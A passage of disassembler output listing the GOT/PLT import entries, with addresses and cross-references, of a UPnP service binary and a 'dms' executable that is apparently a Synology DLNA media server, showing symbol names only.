___libc_start_mainr .got.plt:0804F038 off_804F038 dd offset UpnpAddToActionResponse .got.plt:0804F038 ; DATA XREF: _UpnpAddToActionResponser .got.plt:0804F03C off_804F03C dd offset ixmlNodeList_length .got.plt:0804F03C ; DATA XREF: _ixmlNodeList_lengthr .got.plt:0804F040 off_804F040 dd offset UpnpGetServerIpAddress .got.plt:0804F040 ; DATA XREF: _UpnpGetServerIpAddressr .got.plt:0804F044 off_804F044 dd offset __assert_fail ; DATA XREF: ___assert_failr .got.plt:0804F048 off_804F048 dd offset pthread_mutexattr_setkind_np .got.plt:0804F048 ; DATA XREF: _pthread_mutexattr_setkind_npr .got.plt:0804F04C off_804F04C dd offset UpnpAcceptSubscription .got.plt:0804F04C ; DATA XREF: _UpnpAcceptSubscriptionr .got.plt:0804F050 off_804F050 dd offset UpnpResolveURL ; DATA XREF: _UpnpResolveURLr .got.plt:0804F054 off_804F054 dd offset sigwait ; DATA XREF: _sigwaitr .got.plt:0804F058 off_804F058 dd offset strtol ; DATA XREF: _strtolr .got.plt:0804F05C off_804F05C dd offset free ; DATA XREF: _freer .got.plt:0804F060 off_804F060 dd offset ixmlCloneDOMString .got.plt:0804F060 ; DATA XREF: _ixmlCloneDOMStringr .got.plt:0804F064 off_804F064 dd offset pthread_mutex_unlock .got.plt:0804F064 ; DATA XREF: _pthread_mutex_unlockr .got.plt:0804F068 off_804F068 dd offset UpnpGetServerPort .got.plt:0804F068 ; DATA XREF: _UpnpGetServerPortr .got.plt:0804F06C off_804F06C dd offset pthread_mutexattr_destroy .got.plt:0804F06C ; DATA XREF: _pthread_mutexattr_destroyr .got.plt:0804F070 off_804F070 dd offset ixmlNodeList_free .got.plt:0804F070 ; DATA XREF: _ixmlNodeList_freer .got.plt:0804F074 off_804F074 dd offset ixmlDocument_free .got.plt:0804F074 ; DATA XREF: _ixmlDocument_freer .got.plt:0804F078 off_804F078 dd offset strlen ; DATA XREF: _strlenr .got.plt:0804F07C off_804F07C dd offset pthread_mutex_destroy .got.plt:0804F07C ; DATA XREF: _pthread_mutex_destroyr .got.plt:0804F080 off_804F080 dd offset strcpy ; DATA XREF: _strcpyr .got.plt:0804F084 off_804F084 dd offset printf ; DATA XREF: _printfr .got.plt:0804F088 off_804F088 dd offset pthread_mutex_init .got.plt:0804F088 ; DATA XREF: _pthread_mutex_initr .got.plt:0804F08C off_804F08C dd offset strcasecmp ; DATA XREF: _strcasecmpr .got.plt:0804F090 off_804F090 dd offset malloc ; DATA XREF: _mallocr .got.plt:0804F094 off_804F094 dd offset pthread_mutex_lock .got.plt:0804F094 ; DATA XREF: _pthread_mutex_lockr .got.plt:0804F098 off_804F098 dd offset UpnpDownloadXmlDoc .got.plt:0804F098 ; DATA XREF: _UpnpDownloadXmlDocr .got.plt:0804F09C off_804F09C dd offset UpnpSetWebServerRootDir .got.plt:0804F09C ; DATA XREF: _UpnpSetWebServerRootDirr .got.plt:0804F0A0 off_804F0A0 dd offset pthread_create ; DATA XREF: _pthread_creater .got.plt:0804F0A4 off_804F0A4 dd offset sigaddset ; DATA XREF: _sigaddsetr .got.plt:0804F0A8 off_804F0A8 dd offset ixmlElement_getElementsByTagName .got.plt:0804F0A8 ; DATA XREF: _ixmlElement_getElementsByTagNamer .got.plt:0804F0AC off_804F0AC dd offset UpnpFinish ; DATA XREF: _UpnpFinishr .got.plt:0804F0B0 off_804F0B0 dd offset UpnpRegisterRootDevice .got.plt:0804F0B0 ; DATA XREF: _UpnpRegisterRootDevicer .got.plt:0804F0B4 off_804F0B4 dd offset UpnpNotify ; DATA XREF: _UpnpNotifyr .got.plt:0804F0B8 off_804F0B8 dd offset ixmlNodeList_item .got.plt:0804F0B8 ; DATA XREF: _ixmlNodeList_itemr .got.plt:0804F0BC off_804F0BC dd offset snprintf ; DATA XREF: _snprintfr .got.plt:0804F0C0 off_804F0C0 dd offset pthread_mutexattr_init .got.plt:0804F0C0 ; DATA XREF: _pthread_mutexattr_initr .got.plt:0804F0C4 off_804F0C4 dd offset strcmp ; DATA XREF: _strcmpr .got.plt:0804F0C8 off_804F0C8 dd offset __strdup ; DATA XREF: ___strdupr .got.plt:0804F0CC off_804F0CC dd offset exit ; DATA XREF: _exitr .got.plt:0804F0D0 off_804F0D0 dd offset ixmlFreeDOMString .got.plt:0804F0D0 ; DATA XREF: _ixmlFreeDOMStringr .got.plt:0804F0D4 off_804F0D4 dd offset ixmlDocument_getElementsByTagName .got.plt:0804F0D4 ; DATA XREF: _ixmlDocument_getElementsByTagNamer .got.plt:0804F0D4 _got_plt ends .got.plt:0804F0D4
- For the dms executable
.got.plt:080BA208 off_80BA208 dd offset __cxa_end_catch ; DATA XREF: ___cxa_end_catchr .got.plt:080BA20C off_80BA20C dd offset __cxa_rethrow ; DATA XREF: ___cxa_rethrowr .got.plt:080BA210 off_80BA210 dd offset _ZN11MediaServer15GetAbsolutePathERKSs .got.plt:080BA210 ; DATA XREF: MediaServer::GetAbsolutePath(std::string const&)r .got.plt:080BA210 ; MediaServer::GetAbsolutePath(std::string const&) .got.plt:080BA214 off_80BA214 dd offset _ZN14SynoAudioUtils25RadioGetGenreStationCountEj .got.plt:080BA214 ; DATA XREF: SynoAudioUtils::RadioGetGenreStationCount(uint)r .got.plt:080BA214 ; SynoAudioUtils::RadioGetGenreStationCount(uint) .got.plt:080BA218 off_80BA218 dd offset UpnpInit ; DATA XREF: _UpnpInitr .got.plt:080BA21C off_80BA21C dd offset UpnpSetVirtualDirCallbacks .got.plt:080BA21C ; DATA XREF: _UpnpSetVirtualDirCallbacksr .got.plt:080BA220 off_80BA220 dd offset mkdir ; DATA XREF: _mkdirr .got.plt:080BA224 off_80BA224 dd offset pthread_getspecific .got.plt:080BA224 ; DATA XREF: _pthread_getspecificr .got.plt:080BA228 off_80BA228 dd offset _ZN11MediaServer7MediaDB12AddConditionERKSs .got.plt:080BA228 ; DATA XREF: MediaServer::MediaDB::AddCondition(std::string const&)r .got.plt:080BA228 ; MediaServer::MediaDB::AddCondition(std::string const&) .got.plt:080BA22C off_80BA22C dd offset _ZN11MediaServer15DMSStringBundle9TranslateERKSs .got.plt:080BA22C ; DATA XREF: MediaServer::DMSStringBundle::Translate(std::string const&)r .got.plt:080BA22C ; MediaServer::DMSStringBundle::Translate(std::string const&) .got.plt:080BA230 off_80BA230 dd offset ixmlNode_getFirstChild .got.plt:080BA230 ; DATA XREF: _ixmlNode_getFirstChildr .got.plt:080BA234 off_80BA234 dd offset _ZN11MediaServer7MediaDB10FetchFieldEPKc .got.plt:080BA234 ; DATA XREF: MediaServer::MediaDB::FetchField(char const*)r .got.plt:080BA234 ; MediaServer::MediaDB::FetchField(char const*) .got.plt:080BA238 off_80BA238 dd offset _ZN11MediaServer18DMSGetThumbnailResEiiPiS0_i .got.plt:080BA238 ; DATA XREF: MediaServer::DMSGetThumbnailRes(int,int,int *,int *,int)r .got.plt:080BA238 ; MediaServer::DMSGetThumbnailRes(int,int,int *,int *,int) .got.plt:080BA23C off_80BA23C dd offset _ZNSt8ios_base4InitC1Ev .got.plt:080BA23C ; DATA XREF: std::ios_base::Init::Init(void)r .got.plt:080BA23C ; std::ios_base::Init::Init(void) .got.plt:080BA240 off_80BA240 dd offset strchr ; DATA XREF: _strchrr .got.plt:080BA244 off_80BA244 dd offset _ZN11MediaServer21XMLGetElmentTextValueEP10_IXML_Node .got.plt:080BA244 ; DATA XREF: MediaServer::XMLGetElmentTextValue(_IXML_Node *)r .got.plt:080BA244 ; MediaServer::XMLGetElmentTextValue(_IXML_Node *) .got.plt:080BA248 off_80BA248 dd offset _ZN11MediaServer19DMSGetProductSerialEv .got.plt:080BA248 ; DATA XREF: MediaServer::DMSGetProductSerial(void)r .got.plt:080BA248 ; MediaServer::DMSGetProductSerial(void) .got.plt:080BA24C off_80BA24C dd offset _ZN4Json18StyledStreamWriterC1ESs .got.plt:080BA24C ; DATA XREF: Json::StyledStreamWriter::StyledStreamWriter(std::string)r .got.plt:080BA24C ; Json::StyledStreamWriter::StyledStreamWriter(std::string) .got.plt:080BA250 off_80BA250 dd offset _ZNKSs13find_first_ofEPKcjj .got.plt:080BA250 ; DATA XREF: std::string::find_first_of(char const*,uint,uint)r .got.plt:080BA250 ; std::string::find_first_of(char const*,uint,uint) .got.plt:080BA254 off_80BA254 dd offset _ZN14SynoAudioUtils17RadioGetGenreDataEjRNS_10RadioGenreE .got.plt:080BA254 ; DATA XREF: SynoAudioUtils::RadioGetGenreData(uint,SynoAudioUtils::RadioGenre &)r .got.plt:080BA254 ; SynoAudioUtils::RadioGetGenreData(uint,SynoAudioUtils::RadioGenre &) .got.plt:080BA258 off_80BA258 dd offset _ZN4Json5ValueC1ENS_9ValueTypeE .got.plt:080BA258 ; DATA XREF: Json::Value::Value(Json::ValueType)r .got.plt:080BA258 ; Json::Value::Value(Json::ValueType) .got.plt:080BA25C off_80BA25C dd offset _ZNSt6localeD1Ev .got.plt:080BA25C ; DATA XREF: std::locale::~locale()r .got.plt:080BA25C ; std::locale::~locale() .got.plt:080BA260 off_80BA260 dd offset getopt_long_only ; DATA XREF: _getopt_long_onlyr .got.plt:080BA264 off_80BA264 dd offset _ZNKSs5rfindEPKcjj .got.plt:080BA264 ; DATA XREF: std::string::rfind(char const*,uint,uint)r .got.plt:080BA264 ; std::string::rfind(char const*,uint,uint) .got.plt:080BA268 off_80BA268 dd offset getpid ; DATA XREF: _getpidr .got.plt:080BA26C off_80BA26C dd offset _ZN7pcrecpp2RE4InitERKSsPKNS_10RE_OptionsE .got.plt:080BA26C ; DATA XREF: pcrecpp::RE::Init(std::string const&,pcrecpp::RE_Options const*)r .got.plt:080BA26C ; pcrecpp::RE::Init(std::string const&,pcrecpp::RE_Options const*) .got.plt:080BA270 off_80BA270 dd offset strdup ; DATA XREF: _strdupr .got.plt:080BA274 off_80BA274 dd offset appendPQExpBuffer .got.plt:080BA274 ; DATA XREF: _appendPQExpBufferr .got.plt:080BA278 off_80BA278 dd offset _ZN11MediaServer15DMSStringBundleC1ERKSs .got.plt:080BA278 ; DATA XREF: MediaServer::DMSStringBundle::DMSStringBundle(std::string const&)r .got.plt:080BA278 ; MediaServer::DMSStringBundle::DMSStringBundle(std::string const&) .got.plt:080BA27C off_80BA27C dd offset _ZN11MediaServer13DMSClientList4LoadERKSsS2_ .got.plt:080BA27C ; DATA XREF: MediaServer::DMSClientList::Load(std::string const&,std::string const&)r .got.plt:080BA27C ; MediaServer::DMSClientList::Load(std::string const&,std::string const&) .got.plt:080BA280 off_80BA280 dd offset SYNODlnaContainerTypeGet .got.plt:080BA280 ; DATA XREF: _SYNODlnaContainerTypeGetr .got.plt:080BA284 off_80BA284 dd offset UpnpRegisterClient .got.plt:080BA284 ; DATA XREF: _UpnpRegisterClientr .got.plt:080BA288 off_80BA288 dd offset UpnpSearchAsync ; DATA XREF: _UpnpSearchAsyncr .got.plt:080BA28C off_80BA28C dd offset write ; DATA XREF: _writer .got.plt:080BA290 off_80BA290 dd offset strcmp ; DATA XREF: _strcmpr .got.plt:080BA294 off_80BA294 dd offset _ZN14SynoAudioUtils15SmartPLSGetNameEi .got.plt:080BA294 ; DATA XREF: SynoAudioUtils::SmartPLSGetName(int)r .got.plt:080BA294 ; SynoAudioUtils::SmartPLSGetName(int) .got.plt:080BA298 off_80BA298 dd offset _ZNSt8ios_baseC2Ev .got.plt:080BA298 ; DATA XREF: std::ios_base::ios_base(void)r .got.plt:080BA298 ; std::ios_base::ios_base(void) .got.plt:080BA29C off_80BA29C dd offset _ZN11MediaServer13DMSClientList11EraseObjectERKSs .got.plt:080BA29C ; DATA XREF: MediaServer::DMSClientList::EraseObject(std::string const&)r .got.plt:080BA29C ; MediaServer::DMSClientList::EraseObject(std::string const&) .got.plt:080BA2A0 off_80BA2A0 dd offset close ; DATA XREF: _closer .got.plt:080BA2A4 off_80BA2A4 dd offset SYNODBClose ; DATA XREF: destr_function:_SYNODBCloser .got.plt:080BA2A8 off_80BA2A8 dd offset _ZNSt13basic_filebufIcSt11char_traitsIcEE5closeEv .got.plt:080BA2A8 ; DATA XREF: std::basic_filebuf<char,std::char_traits<char>>::close(void)r .got.plt:080BA2A8 ; std::basic_filebuf<char,std::char_traits<char>>::close(void) .got.plt:080BA2AC off_80BA2AC dd offset _ZN14SynoAudioUtils18RadioGetGenreCountEv .got.plt:080BA2AC ; DATA XREF: SynoAudioUtils::RadioGetGenreCount(void)r .got.plt:080BA2AC ; SynoAudioUtils::RadioGetGenreCount(void) .got.plt:080BA2B0 off_80BA2B0 dd offset _ZN11MediaServer16DMSGetProductUDNEv .got.plt:080BA2B0 ; DATA XREF: MediaServer::DMSGetProductUDN(void)r .got.plt:080BA2B0 ; MediaServer::DMSGetProductUDN(void) .got.plt:080BA2B4 off_80BA2B4 dd offset fprintf ; DATA XREF: _fprintfr .got.plt:080BA2B8 off_80BA2B8 dd offset SYNOAacObjectTypeGet .got.plt:080BA2B8 ; DATA XREF: _SYNOAacObjectTypeGetr .got.plt:080BA2BC off_80BA2BC dd offset pcre_fullinfo ; DATA XREF: _pcre_fullinfor .got.plt:080BA2C0 off_80BA2C0 dd offset signal ; DATA XREF: _signalr .got.plt:080BA2C4 off_80BA2C4 dd offset UpnpSendAdvertisement .got.plt:080BA2C4 ; DATA XREF: _UpnpSendAdvertisementr .got.plt:080BA2C8 off_80BA2C8 dd offset _ZN11MediaServer7MediaDB15FetchFieldAsIntEPKc .got.plt:080BA2C8 ; DATA XREF: MediaServer::MediaDB::FetchFieldAsInt(char const*)r .got.plt:080BA2C8 ; MediaServer::MediaDB::FetchFieldAsInt(char const*) .got.plt:080BA2CC off_80BA2CC dd offset ixmlNodeList_length .got.plt:080BA2CC ; DATA XREF: _ixmlNodeList_lengthr .got.plt:080BA2D0 off_80BA2D0 dd offset _ZN11MediaServer25GetMACAddressFromARPTableERKSs .got.plt:080BA2D0 ; DATA XREF: MediaServer::GetMACAddressFromARPTable(std::string const&)r .got.plt:080BA2D0 ; MediaServer::GetMACAddressFromARPTable(std::string const&) .got.plt:080BA2D4 off_80BA2D4 dd offset unlink ; DATA XREF: _unlinkr .got.plt:080BA2D8 off_80BA2D8 dd offset _ZNSt13basic_filebufIcSt11char_traitsIcEE4openEPKcSt13_Ios_Openmode .got.plt:080BA2D8 ; DATA XREF: std::basic_filebuf<char,std::char_traits<char>>::open(char const*,std::_Ios_Openmode)r .got.plt:080BA2D8 ; std::basic_filebuf<char,std::char_traits<char>>::open(char const*,std::_Ios_Openmode) .got.plt:080BA2DC off_80BA2DC dd offset _ZSt17__throw_bad_allocv .got.plt:080BA2DC ; DATA XREF: std::__throw_bad_alloc(void)r .got.plt:080BA2DC ; std::__throw_bad_alloc(void) .got.plt:080BA2E0 off_80BA2E0 dd offset open64 ; DATA XREF: _open64r .got.plt:080BA2E4 off_80BA2E4 dd offset _ZN11MediaServer13DMSClientList10UpdateKeysERKSsS2_S2_RKSt3mapISsSsSt4lessISsESaISt4pairIS1_SsEEE .got.plt:080BA2E4 ; DATA XREF: MediaServer::DMSClientList::UpdateKeys(std::string const&,std::string const&,std::string const&,std::map<std::string,std::string,std::less<std::string>,std::allocator<std::pair<std::string const,std::string>>> const&)r .got.plt:080BA2E4 ; MediaServer::DMSClientList::UpdateKeys(std::string const&,std::string const&,std::string const&,std::map<std::string,std::string,std::less<std::string>,std::allocator<std::pair<std::string const,std::string>>> const&) .got.plt:080BA2E8 off_80BA2E8 dd offset _ZNK7pcrecpp2RE12PartialMatchERKNS_11StringPieceERKNS_3ArgES6_S6_S6_S6_S6_S6_S6_S6_S6_S6_S6_S6_S6_S6_S6_ .got.plt:080BA2E8 ; DATA XREF: pcrecpp::RE::PartialMatch(pcrecpp::StringPiece const&,pcrecpp::Arg const&,pcrecpp::Arg const&,pcrecpp::Arg const&,pcrecpp::Arg const&,pcrecpp::Arg const&,pcrecpp::Arg const&,pcrecpp::Arg const&,pcrecpp::Arg const&,pcrecpp::Arg const&,pcrecpp::Arg const&,pcrecpp::Arg const&,pcrecpp::Arg const&,pcrecpp::Arg const&,pcrecpp::Arg const&,pcrecpp::Arg const&,pcrecpp::Arg const&)r .got.plt:080BA2E8 ; pcrecpp::RE::PartialMatch(pcrecpp::StringPiece const&,pcrecpp::Arg const&,pcrecpp::Arg const&,pcrecpp::Arg const&,pcrecpp::Arg const&,pcrecpp::Arg const&,pcrecpp::Arg const&,pcrecpp::Arg const&,pcrecpp::Arg const&,pcrecpp::Arg const&,pcrecpp::Arg const&,pcrecpp::Arg const&,pcrecpp::Arg const&,pcrecpp::Arg const&,pcrecpp::Arg const&,pcrecpp::Arg const&,pcrecpp::Arg const&) .got.plt:080BA2EC off_80BA2EC dd offset strerror ; DATA XREF: _strerrorr .got.plt:080BA2F0 off_80BA2F0 dd offset pthread_cancel ; DATA XREF: _pthread_cancelr .got.plt:080BA2F4 off_80BA2F4 dd offset _ZN11MediaServer11DMSLogCloseEv .got.plt:080BA2F4 ; DATA XREF: sub_8084BDC:MediaServer::DMSLogClose(void)r .got.plt:080BA2F4 ; MediaServer::DMSLogClose(void) .got.plt:080BA2F8 off_80BA2F8 dd offset _ZN14SynoAudioUtils17SmartPLSListSongsEiiiRiRSt4listI21__tag_SYNO_MEDIA_INFOSaIS2_EEb .got.plt:080BA2F8 ; DATA XREF: SynoAudioUtils::SmartPLSListSongs(int,int,int,int &,std::list<__tag_SYNO_MEDIA_INFO,std::allocator<__tag_SYNO_MEDIA_INFO>> &,bool)r .got.plt:080BA2F8 ; SynoAudioUtils::SmartPLSListSongs(int,int,int,int &,std::list<__tag_SYNO_MEDIA_INFO,std::allocator<__tag_SYNO_MEDIA_INFO>> &,bool) .got.plt:080BA2FC off_80BA2FC dd offset termPQExpBuffer ; DATA XREF: _termPQExpBufferr .got.plt:080BA300 off_80BA300 dd offset dirname ; DATA XREF: _dirnamer .got.plt:080BA304 off_80BA304 dd offset _ZNKSs7compareEPKc .got.plt:080BA304 ; DATA XREF: std::string::compare(char const*)r .got.plt:080BA304 ; std::string::compare(char const*) .got.plt:080BA308 off_80BA308 dd offset __cxa_atexit ; DATA XREF: ___cxa_atexitr .got.plt:080BA30C off_80BA30C dd offset __errno_location ; DATA XREF: ___errno_locationr .got.plt:080BA310 off_80BA310 dd offset _ZN11MediaServer13DMSClientListC1Ev .got.plt:080BA310 ; DATA XREF: MediaServer::DMSClientList::DMSClientList(void)r .got.plt:080BA310 ; MediaServer::DMSClientList::DMSClientList(void) .got.plt:080BA314 off_80BA314 dd offset MediaInfoDBClose ; DATA XREF: _MediaInfoDBCloser .got.plt:080BA318 off_80BA318 dd offset _ZN14SynoAudioUtils16SmartPLSGetCountEv .got.plt:080BA318 ; DATA XREF: SynoAudioUtils::SmartPLSGetCount(void)r .got.plt:080BA318 ; SynoAudioUtils::SmartPLSGetCount(void) .got.plt:080BA31C off_80BA31C dd offset _ZN11MediaServer17DMSFormatUPNPDateEPKc .got.plt:080BA31C ; DATA XREF: MediaServer::DMSFormatUPNPDate(char const*)r .got.plt:080BA31C ; MediaServer::DMSFormatUPNPDate(char const*) .got.plt:080BA320 off_80BA320 dd offset _ZN14SynoAudioUtils20SmartPLSGetSongCountEib .got.plt:080BA320 ; DATA XREF: SynoAudioUtils::SmartPLSGetSongCount(int,bool)r .got.plt:080BA320 ; SynoAudioUtils::SmartPLSGetSongCount(int,bool) .got.plt:080BA324 off_80BA324 dd offset _ZSt28_Rb_tree_rebalance_for_erasePSt18_Rb_tree_node_baseRS_ .got.plt:080BA324 ; DATA XREF: std::_Rb_tree_rebalance_for_erase(std::_Rb_tree_node_base *,std::_Rb_tree_node_base&)r .got.plt:080BA324 ; std::_Rb_tree_rebalance_for_erase(std::_Rb_tree_node_base *,std::_Rb_tree_node_base&) .got.plt:080BA328 off_80BA328 dd offset access ; DATA XREF: _accessr .got.plt:080BA32C off_80BA32C dd offset ixmlDocument_free .got.plt:080BA32C ; DATA XREF: _ixmlDocument_freer .got.plt:080BA330 off_80BA330 dd offset ixmlPrintDocument .got.plt:080BA330 ; DATA XREF: _ixmlPrintDocumentr .got.plt:080BA334 off_80BA334 dd offset ixmlNode_getAttributes .got.plt:080BA334 ; DATA XREF: _ixmlNode_getAttributesr .got.plt:080BA338 off_80BA338 dd offset inet_ntoa ; DATA XREF: _inet_ntoar .got.plt:080BA33C off_80BA33C dd offset _ZNSt13basic_filebufIcSt11char_traitsIcEEC1Ev .got.plt:080BA33C ; DATA XREF: std::basic_filebuf<char,std::char_traits<char>>::basic_filebuf(void)r .got.plt:080BA33C ; std::basic_filebuf<char,std::char_traits<char>>::basic_filebuf(void) .got.plt:080BA340 off_80BA340 dd offset ixmlNode_getChildNodes .got.plt:080BA340 ; DATA XREF: _ixmlNode_getChildNodesr .got.plt:080BA344 off_80BA344 dd offset _ZN11MediaServer15XMLEnumElementsEP10_IXML_NodeRKSs .got.plt:080BA344 ; DATA XREF: MediaServer::XMLEnumElements(_IXML_Node *,std::string const&)r .got.plt:080BA344 ; MediaServer::XMLEnumElements(_IXML_Node *,std::string const&) .got.plt:080BA348 off_80BA348 dd offset _ZNSs7reserveEj .got.plt:080BA348 ; DATA XREF: std::string::reserve(uint)r .got.plt:080BA348 ; std::string::reserve(uint) .got.plt:080BA34C off_80BA34C dd offset pcre_get_substring_list .got.plt:080BA34C ; DATA XREF: _pcre_get_substring_listr .got.plt:080BA350 off_80BA350 dd offset _ZNKSs4findEPKcjj .got.plt:080BA350 ; DATA XREF: std::string::find(char const*,uint,uint)r .got.plt:080BA350 ; std::string::find(char const*,uint,uint) .got.plt:080BA354 off_80BA354 dd offset malloc ; DATA XREF: _mallocr .got.plt:080BA358 off_80BA358 dd offset ixmlCloneDOMString .got.plt:080BA358 ; DATA XREF: _ixmlCloneDOMStringr .got.plt:080BA35C off_80BA35C dd offset pthread_mutex_init .got.plt:080BA35C ; DATA XREF: _pthread_mutex_initr .got.plt:080BA360 off_80BA360 dd offset fscanf ; DATA XREF: _fscanfr .got.plt:080BA364 off_80BA364 dd offset _ZNSsC1ERKSsjj .got.plt:080BA364 ; DATA XREF: std::string::string(std::string const&,uint,uint)r .got.plt:080BA364 ; std::string::string(std::string const&,uint,uint) .got.plt:080BA368 off_80BA368 dd offset SLIBCFileGetKeyValue .got.plt:080BA368 ; DATA XREF: _SLIBCFileGetKeyValuer .got.plt:080BA36C off_80BA36C dd offset fread ; DATA XREF: _freadr .got.plt:080BA370 off_80BA370 dd offset memmove ; DATA XREF: _memmover .got.plt:080BA374 off_80BA374 dd offset _ZN11MediaServer23XMLGetFirstDocumentItemEP14_IXML_DocumentPKcPb .got.plt:080BA374 ; DATA XREF: MediaServer::XMLGetFirstDocumentItem(_IXML_Document *,char const*,bool *)r .got.plt:080BA374 ; MediaServer::XMLGetFirstDocumentItem(_IXML_Document *,char const*,bool *) .got.plt:080BA378 off_80BA378 dd offset _ZN11MediaServer16DMSClientChecker13GetOffendCharEv .got.plt:080BA378 ; DATA XREF: MediaServer::DMSClientChecker::GetOffendChar(void)r .got.plt:080BA378 ; MediaServer::DMSClientChecker::GetOffendChar(void) .got.plt:080BA37C off_80BA37C dd offset _ZN11MediaServer13StringExplodeERKSsS1_ .got.plt:080BA37C ; DATA XREF: MediaServer::StringExplode(std::string const&,std::string const&)r .got.plt:080BA37C ; MediaServer::StringExplode(std::string const&,std::string const&) .got.plt:080BA380 off_80BA380 dd offset _ZNSt12__basic_fileIcED1Ev .got.plt:080BA380 ; DATA XREF: std::__basic_file<char>::~__basic_file()r .got.plt:080BA380 ; std::__basic_file<char>::~__basic_file() .got.plt:080BA384 off_80BA384 dd offset syslog ; DATA XREF: _syslogr .got.plt:080BA388 off_80BA388 dd offset daemon ; DATA XREF: _daemonr .got.plt:080BA38C off_80BA38C dd offset ixmlNamedNodeMap_free .got.plt:080BA38C ; DATA XREF: _ixmlNamedNodeMap_freer .got.plt:080BA390 off_80BA390 dd offset _ZNSs6appendERKSs .got.plt:080BA390 ; DATA XREF: std::string::append(std::string const&)r .got.plt:080BA390 ; std::string::append(std::string const&) .got.plt:080BA394 off_80BA394 dd offset _ZN11MediaServer12GetCoverListERSt6vectorISsSaISsEE .got.plt:080BA394 ; DATA XREF: MediaServer::GetCoverList(std::vector<std::string,std::allocator<std::string>> &)r .got.plt:080BA394 ; MediaServer::GetCoverList(std::vector<std::string,std::allocator<std::string>> &) .got.plt:080BA398 off_80BA398 dd offset UpnpAddToActionResponse .got.plt:080BA398 ; DATA XREF: _UpnpAddToActionResponser .got.plt:080BA39C off_80BA39C dd offset _ZN11MediaServer14DMSLOGSetLevelENS_12DMSLOG_LEVELE .got.plt:080BA39C ; DATA XREF: MediaServer::DMSLOGSetLevel(MediaServer::DMSLOG_LEVEL)r .got.plt:080BA39C ; MediaServer::DMSLOGSetLevel(MediaServer::DMSLOG_LEVEL) .got.plt:080BA3A0 off_80BA3A0 dd offset _ZN11MediaServer7MediaDB7NextRowEv .got.plt:080BA3A0 ; DATA XREF: MediaServer::MediaDB::NextRow(void)r .got.plt:080BA3A0 ; MediaServer::MediaDB::NextRow(void) .got.plt:080BA3A4 off_80BA3A4 dd offset _ZNSsD1Ev ; DATA XREF: std::string::~string()r .got.plt:080BA3A4 ; std::string::~string() .got.plt:080BA3A8 off_80BA3A8 dd offset _ZN11MediaServer16DMSClientChecker19getVideoProfileNameEPK21__tag_SYNO_MEDIA_INFO .got.plt:080BA3A8 ; DATA XREF: MediaServer::DMSClientChecker::getVideoProfileName(__tag_SYNO_MEDIA_INFO const*)r .got.plt:080BA3A8 ; MediaServer::DMSClientChecker::getVideoProfileName(__tag_SYNO_MEDIA_INFO const*) .got.plt:080BA3AC off_80BA3AC dd offset __cxa_allocate_exception .got.plt:080BA3AC ; DATA XREF: ___cxa_allocate_exceptionr .got.plt:080BA3B0 off_80BA3B0 dd offset UpnpNotify ; DATA XREF: _UpnpNotifyr .got.plt:080BA3B4 off_80BA3B4 dd offset _ZN11MediaServer24FileGetPathBaseNameNoExtERKSs .got.plt:080BA3B4 ; DATA XREF: MediaServer::FileGetPathBaseNameNoExt(std::string const&)r .got.plt:080BA3B4 ; MediaServer::FileGetPathBaseNameNoExt(std::string const&) .got.plt:080BA3B8 off_80BA3B8 dd offset _ZN11MediaServer21DMSFormatUPNPDurationEi .got.plt:080BA3B8 ; DATA XREF: MediaServer::DMSFormatUPNPDuration(int)r .got.plt:080BA3B8 ; MediaServer::DMSFormatUPNPDuration(int) .got.plt:080BA3BC off_80BA3BC dd offset _ZN4Json5ValueC1Ei .got.plt:080BA3BC ; DATA XREF: Json::Value::Value(int)r .got.plt:080BA3BC ; Json::Value::Value(int) .got.plt:080BA3C0 off_80BA3C0 dd offset ixmlNode_getNodeValue .got.plt:080BA3C0 ; DATA XREF: _ixmlNode_getNodeValuer .got.plt:080BA3C4 off_80BA3C4 dd offset _ZN11MediaServer18DMSGetProductModelEv .got.plt:080BA3C4 ; DATA XREF: MediaServer::DMSGetProductModel(void)r .got.plt:080BA3C4 ; MediaServer::DMSGetProductModel(void) .got.plt:080BA3C8 off_80BA3C8 dd offset time ; DATA XREF: _timer .got.plt:080BA3CC off_80BA3CC dd offset BlSYNOIndexIsRawImage .got.plt:080BA3CC ; DATA XREF: _BlSYNOIndexIsRawImager .got.plt:080BA3D0 off_80BA3D0 dd offset _ZN11MediaServer15DMSStringBundle13ImportStringsEv .got.plt:080BA3D0 ; DATA XREF: MediaServer::DMSStringBundle::ImportStrings(void)r .got.plt:080BA3D0 ; MediaServer::DMSStringBundle::ImportStrings(void) .got.plt:080BA3D4 off_80BA3D4 dd offset ixmlNodeList_item .got.plt:080BA3D4 ; DATA XREF: _ixmlNodeList_itemr .got.plt:080BA3D8 off_80BA3D8 dd offset pthread_mutex_lock .got.plt:080BA3D8 ; DATA XREF: _pthread_mutex_lockr .got.plt:080BA3DC off_80BA3DC dd offset _ZN11MediaServer18FileGetPathDirNameERKSs .got.plt:080BA3DC ; DATA XREF: MediaServer::FileGetPathDirName(std::string const&)r .got.plt:080BA3DC ; MediaServer::FileGetPathDirName(std::string const&) .got.plt:080BA3E0 off_80BA3E0 dd offset UpnpFinish ; DATA XREF: _UpnpFinishr .got.plt:080BA3E4 off_80BA3E4 dd offset _ZNSs4_Rep10_M_destroyERKSaIcE .got.plt:080BA3E4 ; DATA XREF: std::string::_Rep::_M_destroy(std::allocator<char> const&)r .got.plt:080BA3E4 ; std::string::_Rep::_M_destroy(std::allocator<char> const&) .got.plt:080BA3E8 off_80BA3E8 dd offset _ZN14SynoAudioUtils9RadioInitEv .got.plt:080BA3E8 ; DATA XREF: SynoAudioUtils::RadioInit(void)r .got.plt:080BA3E8 ; SynoAudioUtils::RadioInit(void) .got.plt:080BA3EC off_80BA3EC dd offset ixmlNode_getNodeName .got.plt:080BA3EC ; DATA XREF: _ixmlNode_getNodeNamer .got.plt:080BA3F0 off_80BA3F0 dd offset _ZN11MediaServer22DMSGetNetworkInterfaceERSt3mapISsSsSt4lessISsESaISt4pairIKSsSsEEE .got.plt:080BA3F0 ; DATA XREF: MediaServer::DMSGetNetworkInterface(std::map<std::string,std::string,std::less<std::string>,std::allocator<std::pair<std::string const,std::string>>> &)r .got.plt:080BA3F0 ; MediaServer::DMSGetNetworkInterface(std::map<std::string,std::string,std::less<std::string>,std::allocator<std::pair<std::string const,std::string>>> &) .got.plt:080BA3F4 off_80BA3F4 dd offset strstr ; DATA XREF: _strstrr .got.plt:080BA3F8 off_80BA3F8 dd offset sleep ; DATA XREF: _sleepr .got.plt:080BA3FC off_80BA3FC dd offset _ZN11MediaServer9XMLEscapeERKSsPKc .got.plt:080BA3FC ; DATA XREF: MediaServer::XMLEscape(std::string const&,char const*)r .got.plt:080BA3FC ; 